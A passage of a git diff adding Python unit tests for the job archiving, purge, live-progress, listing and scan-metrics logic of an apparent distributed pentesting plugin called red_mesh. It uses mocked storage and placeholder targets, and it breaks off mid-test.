self.assertEqual(finalized.job_status, "FINALIZED") + self.assertEqual(finalized.target, "example.com") + self.assertEqual(finalized.pass_count, 1) + self.assertEqual(finalized.worker_count, 1) + self.assertEqual(finalized.start_port, 1) + self.assertEqual(finalized.end_port, 1024) + self.assertGreater(finalized.duration, 0) + + def test_pass_report_cids_cleaned_up(self): + """After archive, individual pass CIDs deleted from R1FS.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + # Check delete_file was called for pass report CID + delete_calls = [c[0][0] for c in plugin.r1fs.delete_file.call_args_list] + self.assertIn("QmPassReport1", delete_calls) + + def test_node_report_cids_preserved(self): + """Worker report CIDs NOT deleted.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + delete_calls = [c[0][0] for c in plugin.r1fs.delete_file.call_args_list] + self.assertNotIn("QmWorker1A", delete_calls) + + def test_aggregated_report_cids_preserved(self): + """aggregated_report_cid per pass NOT deleted.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + delete_calls = [c[0][0] for c in plugin.r1fs.delete_file.call_args_list] + self.assertNotIn("QmAgg1", delete_calls) + + def test_archive_write_failure_no_prune(self): + """R1FS write fails -> CStore untouched, full running state retained.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin(r1fs_write_fail=True) + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + # CStore should NOT have been pruned + plugin.chainstore_hset.assert_not_called() + # pass_reports still present in job_specs + self.assertEqual(len(job_specs["pass_reports"]), 1) + + def test_archive_verify_failure_no_prune(self): + """CID not retrievable -> CStore untouched.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin(r1fs_verify_fail=True) + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + plugin.chainstore_hset.assert_not_called() + + def test_stuck_recovery(self): + """FINALIZED without job_cid -> _build_job_archive retried via _maybe_finalize_pass.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin(job_status="FINALIZED") + # Simulate stuck state: FINALIZED but no job_cid + job_specs["job_status"] = "FINALIZED" + # No job_cid in specs + + plugin.chainstore_hgetall.return_value = {"test-job": job_specs} + plugin._normalize_job_record = MagicMock(return_value=("test-job", job_specs)) + plugin._build_job_archive = MagicMock() + + Plugin._maybe_finalize_pass(plugin) + + plugin._build_job_archive.assert_called_once_with("test-job", job_specs) + + def test_idempotent_rebuild(self): + """Calling _build_job_archive twice doesn't corrupt state.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + first_stub = plugin.chainstore_hset.call_args[1]["value"] + + # Reset and call again (simulating a retry where data is still available) + plugin.chainstore_hset.reset_mock() + plugin.r1fs.add_json.reset_mock() + new_archive_cid = "QmArchiveCID2" + plugin.r1fs.add_json.return_value = new_archive_cid + + # Update get_json to also return data for the new archive CID + orig_side_effect = plugin.r1fs.get_json.side_effect + def extended_get(cid): + if cid == new_archive_cid: + return {"job_id": "test-job"} + return orig_side_effect(cid) + plugin.r1fs.get_json.side_effect = extended_get + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + second_stub = plugin.chainstore_hset.call_args[1]["value"] + # Both produce valid stubs + self.assertEqual(first_stub["job_id"], second_stub["job_id"]) + self.assertEqual(first_stub["pass_count"], second_stub["pass_count"]) + + def test_multipass_archive(self): + """Archive with 3 passes contains all pass data.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin(pass_count=3, run_mode="CONTINUOUS_MONITORING", job_status="STOPPED") + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + archive_dict = plugin.r1fs.add_json.call_args[0][0] + self.assertEqual(len(archive_dict["passes"]), 3) + self.assertEqual(archive_dict["passes"][0]["pass_nr"], 1) + self.assertEqual(archive_dict["passes"][2]["pass_nr"], 3) + stub = plugin.chainstore_hset.call_args[1]["value"] + self.assertEqual(stub["pass_count"], 3) + self.assertEqual(stub["job_status"], "STOPPED") + + + +class TestPhase5Endpoints(unittest.TestCase): + """Phase 5: API Endpoints.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def _build_finalized_stub(self, job_id="test-job"): + """Build a CStoreJobFinalized-shaped dict.""" + return { + "job_id": job_id, + "job_status": "FINALIZED", + "target": "example.com", + "task_name": "Test", + "risk_score": 42, + "run_mode": "SINGLEPASS", + "duration": 200.0, + "pass_count": 1, + "launcher": "launcher-node", + "launcher_alias": "launcher-alias", + "worker_count": 2, + "start_port": 1, + "end_port": 1024, + "date_created": 1000000.0, + "date_completed": 1000200.0, + "job_cid": "QmArchiveCID", + "job_config_cid": "QmConfigCID", + } + + def _build_running_job(self, job_id="run-job", pass_count=8): + """Build a running job dict with N pass_reports.""" + pass_reports = [ + {"pass_nr": i, "report_cid": f"QmPass{i}", "risk_score": 10 + i} + for i in range(1, pass_count + 1) + ] + return { + "job_id": job_id, + "job_status": "RUNNING", + "job_pass": pass_count, + "run_mode": "CONTINUOUS_MONITORING", + "launcher": "launcher-node", + "launcher_alias": "launcher-alias", + "target": "example.com", + "task_name": "Continuous Test", + "start_port": 1, + "end_port": 1024, + "date_created": 1000000.0, + "risk_score": 18, + "job_config_cid": "QmConfigCID", + "workers": { + "worker-A": {"start_port": 1, "end_port": 512, "finished": False}, + "worker-B": {"start_port": 513, "end_port": 1024, "finished": False}, + }, + "timeline": [ + {"type": "created", "label": "Created", "date": 1000000.0, "actor": "launcher", "actor_type": "system", "meta": {}}, + {"type": "started", "label": "Started", "date": 1000001.0, "actor": "launcher", "actor_type": "system", "meta": {}}, + ], + "pass_reports": pass_reports, + } + + def _build_plugin(self, jobs_dict): + """Build a mock plugin with given jobs in CStore.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.ee_addr = "launcher-node" + plugin.ee_id = "launcher-alias" + plugin.cfg_instance_id = "test-instance" + plugin.r1fs = MagicMock() + + plugin.chainstore_hgetall.return_value = dict(jobs_dict) + plugin.chainstore_hget.side_effect = lambda hkey, key: jobs_dict.get(key) + plugin._normalize_job_record = MagicMock( + side_effect=lambda k, v: (k, v) if isinstance(v, dict) and v.get("job_id") else (None, None) + ) + + # Bind real methods so endpoint logic executes properly + plugin._get_all_network_jobs = lambda: Plugin._get_all_network_jobs(plugin) + plugin._get_job_from_cstore = lambda job_id: Plugin._get_job_from_cstore(plugin, job_id) + return plugin + + def test_get_job_archive_finalized(self): + """get_job_archive for finalized job returns archive with matching job_id.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + + archive_data = {"job_id": "fin-job", "passes": [], "ui_aggregate": {}} + plugin.r1fs.get_json.return_value = archive_data + + result = Plugin.get_job_archive(plugin, job_id="fin-job") + self.assertEqual(result["job_id"], "fin-job") + self.assertEqual(result["archive"]["job_id"], "fin-job") + + def test_get_job_archive_running(self): + """get_job_archive for running job returns not_available error.""" + Plugin = self._get_plugin_class() + running = self._build_running_job("run-job", pass_count=2) + plugin = self._build_plugin({"run-job": running}) + + result = Plugin.get_job_archive(plugin, job_id="run-job") + self.assertEqual(result["error"], "not_available") + + def test_get_job_archive_integrity_mismatch(self): + """Corrupted job_cid pointing to wrong archive is rejected.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + + # Archive has a different job_id + plugin.r1fs.get_json.return_value = {"job_id": "other-job", "passes": []} + + result = Plugin.get_job_archive(plugin, job_id="fin-job") + self.assertEqual(result["error"], "integrity_mismatch") + + def test_get_job_data_running_last_5(self): + """Running job with 8 passes returns last 5 refs only.""" + Plugin = self._get_plugin_class() + running = self._build_running_job("run-job", pass_count=8) + plugin = self._build_plugin({"run-job": running}) + + result = Plugin.get_job_data(plugin, job_id="run-job") + self.assertTrue(result["found"]) + refs = result["job"]["pass_reports"] + self.assertEqual(len(refs), 5) + # Should be the last 5 (pass_nr 4-8) + self.assertEqual(refs[0]["pass_nr"], 4) + self.assertEqual(refs[-1]["pass_nr"], 8) + + def test_get_job_data_finalized_returns_stub(self): + """Finalized job returns stub as-is with job_cid.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + + result = Plugin.get_job_data(plugin, job_id="fin-job") + self.assertTrue(result["found"]) + self.assertEqual(result["job"]["job_cid"], "QmArchiveCID") + self.assertEqual(result["job"]["pass_count"], 1) + + def test_list_jobs_finalized_as_is(self): + """Finalized stubs returned unmodified with all CStoreJobFinalized fields.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + + result = Plugin.list_network_jobs(plugin) + self.assertIn("fin-job", result) + job = result["fin-job"] + self.assertEqual(job["job_cid"], "QmArchiveCID") + self.assertEqual(job["pass_count"], 1) + self.assertEqual(job["worker_count"], 2) + self.assertEqual(job["risk_score"], 42) + self.assertEqual(job["duration"], 200.0) + + def test_list_jobs_running_stripped(self): + """Running jobs have counts but no timeline, workers, or pass_reports.""" + Plugin = self._get_plugin_class() + running = self._build_running_job("run-job", pass_count=3) + plugin = self._build_plugin({"run-job": running}) + + result = Plugin.list_network_jobs(plugin) + self.assertIn("run-job", result) + job = result["run-job"] + # Should have counts + self.assertEqual(job["pass_count"], 3) + self.assertEqual(job["worker_count"], 2) + # Should NOT have heavy fields + self.assertNotIn("timeline", job) + self.assertNotIn("workers", job) + self.assertNotIn("pass_reports", job) + + def test_get_job_archive_not_found(self): + """get_job_archive for non-existent job returns not_found.""" + Plugin = self._get_plugin_class() + plugin = self._build_plugin({}) + + result = Plugin.get_job_archive(plugin, job_id="missing-job") + self.assertEqual(result["error"], "not_found") + + def test_get_job_archive_r1fs_failure(self): + """get_job_archive when R1FS fails returns fetch_failed.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + plugin.r1fs.get_json.return_value = None + + result = Plugin.get_job_archive(plugin, job_id="fin-job") + self.assertEqual(result["error"], "fetch_failed") + + + diff --git a/extensions/business/cybersec/red_mesh/tests/test_integration.py b/extensions/business/cybersec/red_mesh/tests/test_integration.py new file mode 100644 index 00000000..a88cabd2 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_integration.py @@ -0,0 +1,976 @@ +import json +import sys +import struct +import unittest +from unittest.mock import MagicMock, patch + +from .conftest import DummyOwner, MANUAL_RUN, PentestLocalWorker, color_print, mock_plugin_modules + + +class TestPhase12LiveProgress(unittest.TestCase): + """Phase 12: Live Worker Progress.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def test_worker_progress_model_roundtrip(self): + """WorkerProgress.from_dict(wp.to_dict()) preserves all fields.""" + from extensions.business.cybersec.red_mesh.models import WorkerProgress + wp = WorkerProgress( + job_id="job-1", + worker_addr="0xWorkerA", + pass_nr=2, + progress=45.5, + phase="service_probes", + ports_scanned=500, + ports_total=1024, + open_ports_found=[22, 80, 443], + completed_tests=["fingerprint_completed", "service_info_completed"], + updated_at=1700000000.0, + live_metrics={"total_duration": 30.5}, + ) + d = wp.to_dict() + wp2 = WorkerProgress.from_dict(d) + self.assertEqual(wp2.job_id, "job-1") + self.assertEqual(wp2.worker_addr, "0xWorkerA") + self.assertEqual(wp2.pass_nr, 2) + self.assertAlmostEqual(wp2.progress, 45.5) + self.assertEqual(wp2.phase, "service_probes") + self.assertEqual(wp2.ports_scanned, 500) + self.assertEqual(wp2.ports_total, 1024) + self.assertEqual(wp2.open_ports_found, [22, 80, 443]) + self.assertEqual(wp2.completed_tests, ["fingerprint_completed", "service_info_completed"]) + self.assertEqual(wp2.updated_at, 1700000000.0) + self.assertEqual(wp2.live_metrics, {"total_duration": 30.5}) + + def test_get_job_progress_filters_by_job(self): + """get_job_progress returns only workers for the requested job.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + + # Simulate two jobs' progress in the :live hset + live_data = { + "job-A:worker-1": {"job_id": "job-A", "progress": 50}, + "job-A:worker-2": {"job_id": "job-A", "progress": 75}, + "job-B:worker-3": {"job_id": "job-B", "progress": 30}, + } + plugin.chainstore_hgetall.return_value = live_data + + result = Plugin.get_job_progress(plugin, job_id="job-A") + self.assertEqual(result["job_id"], "job-A") + self.assertEqual(len(result["workers"]), 2) + self.assertIn("worker-1", result["workers"]) + self.assertIn("worker-2", result["workers"]) + self.assertNotIn("worker-3", result["workers"]) + + def test_get_job_progress_empty(self): + """get_job_progress for non-existent job returns empty workers dict.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.chainstore_hgetall.return_value = {} + + result = Plugin.get_job_progress(plugin, job_id="nonexistent") + self.assertEqual(result["job_id"], "nonexistent") + self.assertEqual(result["workers"], {}) + + def test_publish_live_progress(self): + """_publish_live_progress writes stage-based progress to CStore :live hset.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-A" + plugin._last_progress_publish = 0 + plugin.time.return_value = 100.0 + + # Mock a local worker with state (port scan partial + fingerprint done) + worker = MagicMock() + worker.state = { + "ports_scanned": list(range(100)), + "open_ports": [22, 80], + "completed_tests": ["fingerprint_completed"], + "done": False, + } + worker.initial_ports = list(range(1, 513)) + + plugin.scan_jobs = {"job-1": {"worker-thread-1": worker}} + + # Mock CStore lookup for pass_nr + plugin.chainstore_hget.return_value = {"job_pass": 3} + + Plugin._publish_live_progress(plugin) + + # Verify hset was called with correct key pattern + plugin.chainstore_hset.assert_called_once() + call_args = plugin.chainstore_hset.call_args + self.assertEqual(call_args.kwargs["hkey"], "test-instance:live") + self.assertEqual(call_args.kwargs["key"], "job-1:node-A") + progress_data = call_args.kwargs["value"] + self.assertEqual(progress_data["job_id"], "job-1") + self.assertEqual(progress_data["worker_addr"], "node-A") + self.assertEqual(progress_data["pass_nr"], 3) + self.assertEqual(progress_data["phase"], "service_probes") + self.assertEqual(progress_data["ports_scanned"], 100) + self.assertEqual(progress_data["ports_total"], 512) + self.assertIn(22, progress_data["open_ports_found"]) + self.assertIn(80, progress_data["open_ports_found"]) + # Stage-based progress: service_probes = stage 3 (idx 2), so 2/5*100 = 40% + self.assertEqual(progress_data["progress"], 40.0) + # Single thread — no threads field + self.assertNotIn("threads", progress_data) + + def test_publish_live_progress_multi_thread_phase(self): + """Phase is the earliest active phase; per-thread data is included.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-A" + plugin._last_progress_publish = 0 + plugin.time.return_value = 100.0 + + # Thread 1: fully done + worker1 = MagicMock() + worker1.state = { + "ports_scanned": list(range(256)), + "open_ports": [22], + "completed_tests": ["fingerprint_completed", "service_info_completed", "web_tests_completed", "correlation_completed"], + "done": True, + } + worker1.initial_ports = list(range(1, 257)) + + # Thread 2: still on port scan (50 of 256 ports) + worker2 = MagicMock() + worker2.state = { + "ports_scanned": list(range(50)), + "open_ports": [], + "completed_tests": [], + "done": False, + } + worker2.initial_ports = list(range(257, 513)) + + plugin.scan_jobs = {"job-1": {"t1": worker1, "t2": worker2}} + plugin.chainstore_hget.return_value = {"job_pass": 1} + + Plugin._publish_live_progress(plugin) + + call_args = plugin.chainstore_hset.call_args + progress_data = call_args.kwargs["value"] + # Phase should be port_scan (earliest across threads), not done + self.assertEqual(progress_data["phase"], "port_scan") + # Stage-based: port_scan (idx 0) + sub-progress (306/512 * 20%) = ~12% + self.assertGreater(progress_data["progress"], 10) + self.assertLess(progress_data["progress"], 15) + # Per-thread data should be present (2 threads) + self.assertIn("threads", progress_data) + self.assertEqual(progress_data["threads"]["t1"]["phase"], "done") + self.assertEqual(progress_data["threads"]["t2"]["phase"], "port_scan") + self.assertEqual(progress_data["threads"]["t2"]["ports_scanned"], 50) + self.assertEqual(progress_data["threads"]["t2"]["ports_total"], 256) + + def test_clear_live_progress(self): + """_clear_live_progress deletes progress keys for all workers.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + + Plugin._clear_live_progress(plugin, "job-1", ["worker-A", "worker-B"]) + + self.assertEqual(plugin.chainstore_hset.call_count, 2) + calls = plugin.chainstore_hset.call_args_list + keys_deleted = {c.kwargs["key"] for c in calls} + self.assertEqual(keys_deleted, {"job-1:worker-A", "job-1:worker-B"}) + for c in calls: + self.assertIsNone(c.kwargs["value"]) + + + +class TestPhase14Purge(unittest.TestCase): + """Phase 14: Job Deletion & Purge.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def _make_plugin(self): + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-A" + return plugin + + def test_purge_finalized_collects_all_cids(self): + """Finalized purge collects archive + config + aggregated_report + worker report CIDs.""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + # CStore stub for a finalized job + job_specs = { + "job_id": "job-1", + "job_status": "FINALIZED", + "job_cid": "cid-archive", + "job_config_cid": "cid-config", + } + plugin.chainstore_hget.return_value = job_specs + + # Archive contains nested CIDs + archive = { + "passes": [ + { + "aggregated_report_cid": "cid-agg-1", + "worker_reports": { + "worker-A": {"report_cid": "cid-wr-A"}, + "worker-B": {"report_cid": "cid-wr-B"}, + }, + }, + ], + } + plugin.r1fs.get_json.return_value = archive + plugin.r1fs.delete_file.return_value = True + plugin.chainstore_hgetall.return_value = {} + + # Normalize returns the specs as-is + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "success") + + # Verify all 5 CIDs were deleted + deleted_cids = {c.args[0] for c in plugin.r1fs.delete_file.call_args_list} + self.assertEqual(deleted_cids, {"cid-archive", "cid-config", "cid-agg-1", "cid-wr-A", "cid-wr-B"}) + self.assertEqual(result["cids_deleted"], 5) + self.assertEqual(result["cids_total"], 5) + + def test_purge_finalized_no_pass_report_cids(self): + """Finalized purge does NOT try to delete individual pass report CIDs (they are inside archive).""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + job_specs = { + "job_id": "job-1", + "job_status": "FINALIZED", + "job_cid": "cid-archive", + # No pass_reports key — finalized stubs don't have them + } + plugin.chainstore_hget.return_value = job_specs + plugin.r1fs.get_json.return_value = {"passes": []} + plugin.r1fs.delete_file.return_value = True + plugin.chainstore_hgetall.return_value = {} + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "success") + + # Only archive CID should be deleted (no pass_reports, no config, no workers) + deleted_cids = {c.args[0] for c in plugin.r1fs.delete_file.call_args_list} + self.assertEqual(deleted_cids, {"cid-archive"}) + + def test_purge_running_collects_all_cids(self): + """Stopped (was running) purge collects config + worker CIDs + pass report CIDs + nested CIDs.""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + job_specs = { + "job_id": "job-1", + "job_status": "STOPPED", + "job_config_cid": "cid-config", + "workers": { + "node-A": {"finished": True, "canceled": True, "report_cid": "cid-wr-A"}, + }, + "pass_reports": [ + {"report_cid": "cid-pass-1"}, + ], + } + plugin.chainstore_hget.return_value = job_specs + + # Pass report contains nested CIDs + pass_report = { + "aggregated_report_cid": "cid-agg-1", + "worker_reports": { + "node-A": {"report_cid": "cid-pass-wr-A"}, + }, + } + plugin.r1fs.get_json.return_value = pass_report + plugin.r1fs.delete_file.return_value = True + plugin.chainstore_hgetall.return_value = {} + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "success") + + deleted_cids = {c.args[0] for c in plugin.r1fs.delete_file.call_args_list} + self.assertEqual(deleted_cids, {"cid-config", "cid-wr-A", "cid-pass-1", "cid-agg-1", "cid-pass-wr-A"}) + + def test_purge_r1fs_failure_keeps_cstore(self): + """Partial R1FS failure leaves CStore intact and returns 'partial' status.""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + job_specs = { + "job_id": "job-1", + "job_status": "FINALIZED", + "job_cid": "cid-archive", + "job_config_cid": "cid-config", + } + plugin.chainstore_hget.return_value = job_specs + plugin.r1fs.get_json.return_value = {"passes": []} + + # First CID deletes ok, second raises + plugin.r1fs.delete_file.side_effect = [True, Exception("disk error")] + + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "partial") + self.assertEqual(result["cids_deleted"], 1) + self.assertEqual(result["cids_failed"], 1) + self.assertEqual(result["cids_total"], 2) + + # CStore should NOT be tombstoned + tombstone_calls = [ + c for c in plugin.chainstore_hset.call_args_list + if c.kwargs.get("hkey") == "test-instance" and c.kwargs.get("value") is None + ] + self.assertEqual(len(tombstone_calls), 0) + + def test_purge_cleans_live_progress(self): + """Purge deletes live progress keys for the job from :live hset.""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + job_specs = { + "job_id": "job-1", + "job_status": "STOPPED", + "workers": {"node-A": {"finished": True}}, + } + plugin.chainstore_hget.return_value = job_specs + plugin.r1fs.delete_file.return_value = True + + # Live hset has keys for this job and another + plugin.chainstore_hgetall.return_value = { + "job-1:node-A": {"progress": 100}, + "job-1:node-B": {"progress": 50}, + "job-2:node-C": {"progress": 30}, + } + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "success") + + # Check that live progress keys for job-1 were deleted + live_delete_calls = [ + c for c in plugin.chainstore_hset.call_args_list + if c.kwargs.get("hkey") == "test-instance:live" and c.kwargs.get("value") is None + ] + deleted_keys = {c.kwargs["key"] for c in live_delete_calls} + self.assertEqual(deleted_keys, {"job-1:node-A", "job-1:node-B"}) + # job-2 key should NOT be touched + self.assertNotIn("job-2:node-C", deleted_keys) + + def test_purge_success_tombstones_cstore(self): + """After all CIDs deleted, CStore key is tombstoned (set to None).""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + job_specs = { + "job_id": "job-1", + "job_status": "FINALIZED", + "job_cid": "cid-archive", + } + plugin.chainstore_hget.return_value = job_specs + plugin.r1fs.get_json.return_value = {"passes": []} + plugin.r1fs.delete_file.return_value = True + plugin.chainstore_hgetall.return_value = {} + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "success") + + # CStore tombstone: hset(hkey=instance_id, key=job_id, value=None) + tombstone_calls = [ + c for c in plugin.chainstore_hset.call_args_list + if c.kwargs.get("hkey") == "test-instance" + and c.kwargs.get("key") == "job-1" + and c.kwargs.get("value") is None + ] + self.assertEqual(len(tombstone_calls), 1) + + def test_stop_and_delete_delegates_to_purge(self): + """stop_and_delete_job marks job stopped then delegates to purge_job.""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + plugin.scan_jobs = {} + + job_specs = { + "job_id": "job-1", + "job_status": "RUNNING", + "workers": {"node-A": {"finished": False}}, + } + plugin.chainstore_hget.return_value = job_specs + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + # Mock purge_job to verify delegation + purge_result = {"status": "success", "job_id": "job-1", "cids_deleted": 3, "cids_total": 3} + plugin.purge_job = MagicMock(return_value=purge_result) + + result = Plugin.stop_and_delete_job(plugin, "job-1") + + # Verify job was marked stopped before purge + hset_calls = [ + c for c in plugin.chainstore_hset.call_args_list + if c.kwargs.get("hkey") == "test-instance" and c.kwargs.get("key") == "job-1" + ] + self.assertEqual(len(hset_calls), 1) + saved_specs = hset_calls[0].kwargs["value"] + self.assertEqual(saved_specs["job_status"], "STOPPED") + self.assertTrue(saved_specs["workers"]["node-A"]["finished"]) + self.assertTrue(saved_specs["workers"]["node-A"]["canceled"]) + + # Verify purge was called + plugin.purge_job.assert_called_once_with("job-1") + self.assertEqual(result, purge_result) + + + +class TestPhase15Listing(unittest.TestCase): + """Phase 15: Listing Endpoint Optimization.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def test_list_finalized_returns_stub_fields(self): + """Finalized jobs return exact CStoreJobFinalized fields.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + + finalized_stub = { + "job_id": "job-1", + "job_status": "FINALIZED", + "target": "10.0.0.1", + "task_name": "scan-1", + "risk_score": 75, + "run_mode": "SINGLEPASS", + "duration": 120.5, + "pass_count": 1, + "launcher": "0xLauncher", + "launcher_alias": "node1", + "worker_count": 2, + "start_port": 1, + "end_port": 1024, + "date_created": 1700000000.0, + "date_completed": 1700000120.0, + "job_cid": "QmArchive123", + "job_config_cid": "QmConfig456", + } + plugin.chainstore_hgetall.return_value = {"job-1": finalized_stub} + plugin._normalize_job_record = MagicMock(return_value=("job-1", finalized_stub)) + + result = Plugin.list_network_jobs(plugin) + self.assertIn("job-1", result) + entry = result["job-1"] + + # All CStoreJobFinalized fields present + self.assertEqual(entry["job_id"], "job-1") + self.assertEqual(entry["job_status"], "FINALIZED") + self.assertEqual(entry["job_cid"], "QmArchive123") + self.assertEqual(entry["job_config_cid"], "QmConfig456") + self.assertEqual(entry["target"], "10.0.0.1") + self.assertEqual(entry["risk_score"], 75) + self.assertEqual(entry["duration"], 120.5) + self.assertEqual(entry["pass_count"], 1) + self.assertEqual(entry["worker_count"], 2) + + def test_list_running_stripped(self): + """Running jobs have listing fields but no heavy data.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + + running_spec = { + "job_id": "job-2", + "job_status": "RUNNING", + "target": "10.0.0.2", + "task_name": "scan-2", + "risk_score": 0, + "run_mode": "CONTINUOUS_MONITORING", + "start_port": 1, + "end_port": 65535, + "date_created": 1700000000.0, + "launcher": "0xLauncher", + "launcher_alias": "node1", + "job_pass": 3, + "job_config_cid": "QmConfig789", + "workers": { + "addr-A": {"start_port": 1, "end_port": 32767, "finished": False, "report_cid": "QmBigReport1"}, + "addr-B": {"start_port": 32768, "end_port": 65535, "finished": False, "report_cid": "QmBigReport2"}, + }, + "timeline": [ + {"event": "created", "ts": 1700000000.0}, + {"event": "started", "ts": 1700000001.0}, + ], + "pass_reports": [ + {"pass_nr": 1, "report_cid": "QmPass1"}, + {"pass_nr": 2, "report_cid": "QmPass2"}, + ], + "redmesh_job_start_attestation": {"big": "blob"}, + } + plugin.chainstore_hgetall.return_value = {"job-2": running_spec} + plugin._normalize_job_record = MagicMock(return_value=("job-2", running_spec)) + + result = Plugin.list_network_jobs(plugin) + self.assertIn("job-2", result) + entry = result["job-2"] + + # Listing essentials present + self.assertEqual(entry["job_id"], "job-2") + self.assertEqual(entry["job_status"], "RUNNING") + self.assertEqual(entry["target"], "10.0.0.2") + self.assertEqual(entry["task_name"], "scan-2") + self.assertEqual(entry["run_mode"], "CONTINUOUS_MONITORING") + self.assertEqual(entry["job_pass"], 3) + self.assertEqual(entry["worker_count"], 2) + self.assertEqual(entry["pass_count"], 2) + + # Heavy fields stripped + self.assertNotIn("workers", entry) + self.assertNotIn("timeline", entry) + self.assertNotIn("pass_reports", entry) + self.assertNotIn("redmesh_job_start_attestation", entry) + self.assertNotIn("job_config_cid", entry) + self.assertNotIn("report_cid", entry) + + + +class TestPhase16ScanMetrics(unittest.TestCase): + """Phase 16: Scan Metrics Collection.""" + + def test_metrics_collector_empty_build(self): + """build() with zero data returns ScanMetrics with defaults, no crash.""" + from extensions.business.cybersec.red_mesh.worker import MetricsCollector + mc = MetricsCollector() + result = mc.build() + d = result.to_dict() + self.assertEqual(d.get("total_duration", 0), 0) + self.assertEqual(d.get("rate_limiting_detected", False), False) + self.assertEqual(d.get("blocking_detected", False), False) + # No crash, sparse output + self.assertNotIn("connection_outcomes", d) + self.assertNotIn("response_times", d) + + def test_metrics_collector_records_connections(self): + """After recording outcomes, connection_outcomes has correct counts.""" + from extensions.business.cybersec.red_mesh.worker import MetricsCollector + mc = MetricsCollector() + mc.start_scan(100) + mc.record_connection("connected", 0.05) + mc.record_connection("connected", 0.03) + mc.record_connection("timeout", 1.0) + mc.record_connection("refused", 0.01) + d = mc.build().to_dict() + outcomes = d["connection_outcomes"] + self.assertEqual(outcomes["connected"], 2) + self.assertEqual(outcomes["timeout"], 1) + self.assertEqual(outcomes["refused"], 1) + self.assertEqual(outcomes["total"], 4) + # Response times computed + rt = d["response_times"] + self.assertIn("mean", rt) + 